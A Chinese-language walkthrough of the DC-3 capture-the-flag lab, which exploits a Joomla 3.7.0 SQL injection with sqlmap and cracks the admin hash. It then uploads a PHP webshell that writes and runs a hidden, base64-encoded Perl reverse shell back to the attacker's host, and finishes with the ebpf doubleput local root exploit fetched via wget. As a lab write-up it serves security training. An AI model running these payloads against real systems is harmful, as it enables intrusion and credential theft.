渗透DC-3

靶机描述

下载地址:http://www.five86.com/downloads/DC-3-2.zip

1
2
3
4
5
6
7
8
9
10
11
DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you less than 20 minutes easily).

If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.

信息收集

扫描同网段存活主机

1
arp-scan -l

扫描端口号,发现开放80端口,web应用服务

1
nmap 172.18.1.137

尝试访问web页面,看到靶机提示,此靶机只存在一个flag,而且目标是获取管理员权限

此网页目前信息有限,尝试后台扫描

1
2
3
4
5
6
7
dirsearch -u http://172.18.1.137/ -e * -i 200

-e 文件类型
-i 状态码
只显示该状态码
-x 状态码
不显示该状态码

后台存在管理员登录界面

在readme文件中也能看到对应的cms版本

漏洞发现

使用joomscan对网站进行探测

1
joomscan是一款开源的且针对joomla的扫描器
1
joomscan -u 172.18.1.137

针对cms的对应版本去寻找已知漏洞,使用工具searchsploit

1
searchsploit是一款kali自带的搜索漏洞信息的模块
1
searchsploit joomla 3.7.0

发现该版本的cms,存在一个sql注入漏洞

漏洞介绍存在的详细目录

1
/usr/share/exploitdb/exploits/php/webapps/42033.txt

给了漏洞存在地址,以及漏洞利用方式

漏洞利用

sql注入

1
2
3
4
sqlmap -u "http://172.18.1.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --dbs --batch

# --batch是让sqlmap自动选择执行过程中出现的询问请求
# --dbs 列出所有数据库的名字

然后看一下joomladb这个数据库的表名

1
2
3
4
sqlmap -u "http://172.18.1.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb --batch --tables

# -D指定数据库
# --tables查看表名

查看表中的字段

1
2
3
4
5
sqlmap -u "http://172.18.1.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' --columns

# 表名含有特殊符号,需要用引号包括
# 这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,手动输入y和回车就好
# --columns 查看列名

知道字段名后,就可以查看用户和密码

1
2
3
4
sqlmap -u "http://172.18.1.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump

# -C指定列名
# --dump列出字段名称

密码被hash处理过,需要碰撞一下

密码破解

1
2
利用John工具,对该密码进行爆破拆解
先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件

这个密码就是登录后台的密码,账号是admin

反弹shell

在后台找到一个文件上传点

通过php写一个反弹shell的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

对应的ip就是攻击机的ip,端口号需要开一个

joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为

1
http://172.18.1.137/templates/beez3/webshell.php

现在kali上开一个监听端口,然后在web上访问该文件

1
nc -lvvp 1234

利用python升级成交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

提权

我们现在还没拿到root权限,根据靶机描述也可以知道,这里需要利用的属于系统漏洞,我们要通过系统来进行提权

首先先确定当前系统的版本信息

1
2
3
4
5
# 操作系统信息
tac /etc/issue

# 版本信息
cat /proc/version

搜索相关漏洞

1
searchsploit Ubuntu 16.04

漏洞详情路径为,里面存在exp的地址

1
/usr/share/exploitdb/exploits/linux/local/39772.txt 

漏洞利用如下

exp地址如下

现在就需要把这个exp传到靶机中,我们首先下载exp到kali,然后kali开启http服务,再利用shell下载exp

靶场的镜像没法用了,现在有个新的exp连接

exp下载连接:https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip?ref_type=heads&inline=false

kali开启http服务

1
python3 -m http.server 8888

exp的下载地址

1
http://172.18.1.128:8888/%E6%A1%8C%E9%9D%A2/exploit.tar

回到我们的虚拟终端,利用wget命令下载该工具

1
wget http://172.18.1.128:8888/%E6%A1%8C%E9%9D%A2/exploit.tar

解压该压缩包

1
tar -xvf exploit.tar

根据漏洞利用方式,就是运行这两个文件

1
2
3
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

提权成功!

查找flag

1
find / -name *flag*

总结

  • joomla cms
  • joomscan扫描器
  • searchsploit漏洞搜索模块
  • sqlmap进行sql注入
  • John密码破解
  • php反弹shell
  • 系统提权
  • 远程文件下载wget